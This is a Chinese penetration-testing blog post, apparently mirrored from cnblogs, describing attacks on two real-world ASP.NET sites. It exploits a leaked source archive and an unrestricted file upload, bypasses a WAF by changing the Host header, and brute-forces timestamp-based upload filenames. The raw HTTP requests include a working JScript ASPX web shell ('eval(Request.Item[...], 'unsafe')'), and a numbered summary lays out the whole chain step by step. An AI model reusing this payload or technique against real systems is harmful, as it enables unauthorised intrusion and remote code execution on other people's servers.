zoukankan      html  css  js  c++  java
  • 一次运气很好的文件上传

    0x01 站点1:文件上传

    发现源代码泄露

    打开自己珍藏已久的辣鸡字典,扫描发现存在bin.zip信息泄露,尝试进行代码审计
    文件位置:SimpleDataPlatform.SimpleDataPlatform.fileUpload

    找到ProccessRequest接收请求,可以看到获取了一堆参数后(初始化),后进入了HandleFiles方法,

    跟进HandleFiles进行处理,如果dateType=ZBJHSB时,就继续处理请求,dateType为GET传参

    路径为/Uploads/SetData/ZBJHSB,str名称为时间戳,且str2(后缀)没有进行限制就进行保存,

    OK,这应该是一个妥妥的任意文件上传了,只要有返回值,那么这个站就没了。但是很不凑巧的是,他没有返回值。
    由于方法fileUpload,瞎猜文件名为

    fileUpload.aspx
    fileUpload.ashx
    fileUpload.asmx
    fileUploads.aspx
    fileUploads.asmx
    fileUploads.ashx
    Upload.....等

    加上自己现有的字典爆破了一波,成功找到了返回了200的文件名http://xxx.com:6039/FileUploads.ashx

    直接构造上传表单,这里Form里的name字段应该是没有具体设置的(代码里没有找到),发包后返回200,可能真的传上去了吧?

    POST /FileUploads.ashx?DataType=ZBJHSB HTTP/1.1
    Host: xxx.cn:6039
    Content-Length: 195
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySVkAJfiOUeRxhsu8
    Accept: */*
    Connection: close
    
    ------WebKitFormBoundarySVkAJfiOUeRxhsu8
    Content-Disposition: form-data; name="File"; filename="1.aspx"
    Content-Type: image/jpeg
    
    11111111111
    ------WebKitFormBoundarySVkAJfiOUeRxhsu8--

    之前我们看到使用的格式为yyyyMMddHHmmssfff作为文件名,然后直接截取后缀作为ext,而且我们有了具体的路径,那么只需要爆破时间戳文件名即可拿下该站点,以前还没有这么做过,不妨试试。

    爆破时间戳

    使用Powershell生成时间戳,然后此时在Burp按下go发送请求包
    powershell -c Get-Date -Format yyyyMMddHHmmssfff

    再爆破后面5位数字,也就是ssfff(由于电脑上的时间不一定准,有时候甚至可能要爆破6位)
    不知道等了多久

    运气真好,后面的就不多说了。

    0x02  站点2:文件上传

    找到上传接口

    打开网站http://xxxx:880/zwwpt/#/就发现存在一个webpack debug模式未关闭,查看JS发现上传接口

    http://xxxxxx:880/zwwpt/data/menuData.json
    发现了一个隐藏的html页面,这个页面在前端的功能点是点不到的。

    http://xxxxxx:880/jtwxt/xgjt/security_risk.html
    点击附件上传抓包

    发现存在waf,当拦截住waf的时候,会返回404,大概数据包就是这样(省略了一些其他的无用参数)

    POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
    Host: xxxxx.cn:880
    Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
    Connection: close
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
    Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx"
    Content-Type: image/jpeg
    
    <%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

    绕过

    修改HOST:
    xxxx.cn:880为xxxx.cn或xxx.cn:8888(不为880端口应该都可以)

    POST /jtwpt/Ashxs/BaseInfoTransfer.ashx HTTP/1.1
    Host: xxxxx.cn
    Cookie: Hm_lvt_a8b89d1c622d63c547c83ec412cc50ef=1631849663; Hm_lvt_69968305fa176c802589452987ebddc8=1631858810
    Connection: close
    
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB
    Content-Disposition: form-data; name="uploadfile[]"; filename="1.aspx
    Content-Type: image/jpeg
    
    1111
    ------WebKitFormBoundary7PCqG5iQ5vwLZ6AB--

    成功饶过waf,上传成功,但是没有返回路径

    寻找路径

    但是之前爆破目录找到了/uploads/目录和/image/目录

    而且发现html名为security_risk.html,构造路径securityrisk、security_risk、security等,然后跑了一下目录
    最终发现存在 http://xxx.cn:880/uploads/securityrisk/ 这个目录

    猜测可能上传的文件很有可能在该目录下,不然没必要起这么像的名字吧,而且还叫upload,于是尝试直接访问刚刚的文件名1.txt,返回是404
    http://xxx.cn:880/uploads/securityrisk/1.txt

    爆破时间戳

    根据自己微不足道的经验,dot.net架构的网站喜欢使用时间戳来命名,因此构造当前时间戳,尝试爆破上传时间附近的时间点的时间戳值。
    时间戳一般为10位或者13位

    文件上传后强制转换的文件名命名规律一般有
    1、随机字符串
    xxx-xxx-xxx--xxx.jpg 格式这种类型我们没法猜,如果没目录遍历或者返回路径,那么基本上只能放弃

    2、时间戳类型

    直接以时间戳+.jpg为文件名(如1631868676.jpg)
    时间戳+00001
    时间戳+0001
    时间戳+001
    时间戳+01
    时间戳

    3、yymmddHHmm类型
    这种类型一般以20210917xxxxx这种格式,xxxx应该为毫秒级别的数字,我们可以直接使用Burp进行爆破跑,4——6位还是可能跑的出来的,再多就跑不出来了。
    powershell -c Get-Date -Format yyyyMMddHHmm

    yyyyMMddHHmmssfff
    yyyyMMddHHmmssfff+00001
    yyyyMMddHHmmssfff+0001
    yyyyMMddHHmmssfff+001
    yyyyMMddHHmmssfff+01
    yyyyMMddHHmmssfff
    
    yyyyMMddHHmmss
    yyyyMMddHHmmss+00001
    yyyyMMddHHmmss+0001
    yyyyMMddHHmmss+001
    yyyyMMddHHmmss+01
    yyyyMMddHHmmss

    整理好了思路我们就开始爆破吧,我们只需选择在Burp发包时记住当前时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破(只要网站不挂,不疏漏每一种类型应该是没什么问题的)

    经过大量爆破后,发现了上传的文本文件,格式内容为
    yyyyMMddHHmmss+0001
    成功找到路径后,后面的就无需多言了


    0x03 总结

    1.通过目录扫描工具对目标站点一进行目录扫描,发现存在bin.zip,下载到本地,是站点1的源码

    2.对网站源码进行代码审计,发现存在文件上传,上传的文件名并不知道,传参为DataType=ZBJHSB 

    ,上传文件后保存的路径为:/Uploads/SetData/ZBJHSB .且上传的文件名的生成规则为:yyyyMMddHHmmssfff

    3.由于网站采用fileupload方法,这里可以通过bp枚举上传文件命令,最终在访问

    http://xxx.com:6039/FileUploads.ashx显示200.表示存在文件上传

    fileUpload.aspx

    fileUpload.ashx

    fileUpload.asmx

    fileUploads.aspx

    fileUploads.asmx

    fileUploads.ashx

    Upload.....等

    4.这里通过本地构造上传表单并保存为html进行post提交

    http://xxx.com:6039/FileUploads.ashx?DataType=ZBJHSB

    5.通过下面命令生成当前时间错的文件名

    powershell -c Get-Date -Format yyyyMMddHHmmssfff

    6.由于和电脑上的时间不一定准,需要爆破5位数到6位数,也就是mmssfff

    这里可以通过bp爆破后面的5位数或者6位数


    7.通过目录扫描工具对目标站点进行网络请求查看,发现存在webpack debug模式未关闭,发现index.js,其内容中包含了上传接口

    8.发现上传接口http://xxxxxx:880/jtwxt/xgjt/security_risk.html,并进行附件上传。

    9.发现存在waf,会返回404,通过修改host主机xxxx.cn:880为xxxx.cn或xxx.cn:8888,可绕过waf,但是并没返回上传路径

    10.这里通过目录扫描工具对目标http://xxxxxx:880/进行扫描,发现访问uploads以及images目录403,这里猜测是上传到uploads目录下.

    11.发现html名为security_risk.html,构造路径securityrisk、security_risk、security等目录进行扫描,

    最终发现存在 http://xxx.cn:880/uploads/securityrisk/ 目录

    12.上传一个1.txt文件,访问 http://xxx.cn:880/uploads/securityrisk/1.txt显示不存在,可能上传的文件名是时间戳

    (.net架构的网站喜欢使用时间戳来命名)

    13.通过以下命令生成当前时间错的文件名

    powershell -c Get-Date -Format yyyyMMddHHmm

    powershell -c Get-Date -Format yyyyMMddHHmmssfff

    powershell -c Get-Date -Format yyyyMMddHHmmssfff+00001

    powershell -c Get-Date -Format yyyyMMddHHmmssfff+0001

    powershell -c Get-Date -Format yyyyMMddHHmmssfff+001

    powershell -c Get-Date -Format yyyyMMddHHmmssfff+01

    14.选择在Burp发包时记住当前时间,然后获取当前时间戳,然后使用Burp intruder爆破来跑,一个一个的整理过去,大概需要重复操作15次,每次我就选择最后5位数字来进行爆破,最终爆破出文件名出来。

    但是这种方法还是比较靠运气的,因为很有可能当前服务器的时间和目标网站的时间不一致,比如差个几个小时,甚至差个几天这种情况。
    如果为yyyyMMddHHmmssfff的情况,那基本是没办法了,自认倒霉
    如果是yyyyMMddHHmmss的情况,那么爆破6位数字,还是可能爆破出来的。



  • 相关阅读:
    Linux中的计算器(bc)
    在Linux中显示日历(cal)
    在Linux中显示日期(date)
    Linux中的注销当前用户
    Linux中的提示符
    在Linux中启动X Window
    硬盘知识
    划分Linux分区
    Linux中的关机
    hdu4424 Conquer a New Region 并查集/类似最小生成树
  • 原文地址:https://www.cnblogs.com/backlion/p/15793333.html
Copyright © 2011-2022 走看看